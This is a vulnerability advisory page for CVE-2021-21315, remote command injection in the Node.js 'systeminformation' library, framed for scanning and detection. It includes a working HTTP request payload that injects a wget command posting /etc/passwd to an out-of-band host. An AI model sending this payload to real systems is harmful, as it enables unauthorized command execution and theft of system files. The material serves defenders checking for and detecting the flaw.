🔙 목록으로 돌아가기

CVE-2021-21315: Node.JS System Information Library <5.3.1 - Remote Command Injection

TitleNode.JS System Information Library <5.3.1 - Remote Command Injection
Authorpikpikcu
SeverityHigh
ImpactSuccessful exploitation of this vulnerability allows remote attackers to execute arbitrary commands on the affected system.
RemediationUpgrade to version 5.3.1. As a workaround instead of upgrading, be sure to check or sanitize service parameters that are passed to si.inetLatency(), si.inetChecksite(), si.services(), si.processLoad() ... do only allow strings, reject any arrays. String sanitation works as expected
CVSS Score7.8
EPSS Score0.93933
CVE IDCVE-2021-21315
CWE IDCWE-78
Tags cve cve2021 nodejs kev systeminformation node.js vkev vuln

🔍 Vulnerability Description

Node.JS System Information Library System before version 5.3.1 is susceptible to remote command injection. Node.JS (npm package “systeminformation”) is an open source collection of functions to retrieve detailed hardware, system and OS information.

🌐 HTTP Request

GET /api/getServices?name[]=$(wget%20--post-file%20/etc/passwd%20d5jn5fple0o3cn6fkabgt4gpcpskkded6.oast.me) HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:128.0) Gecko/20100101 Firefox/128.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-21315.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-21315.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A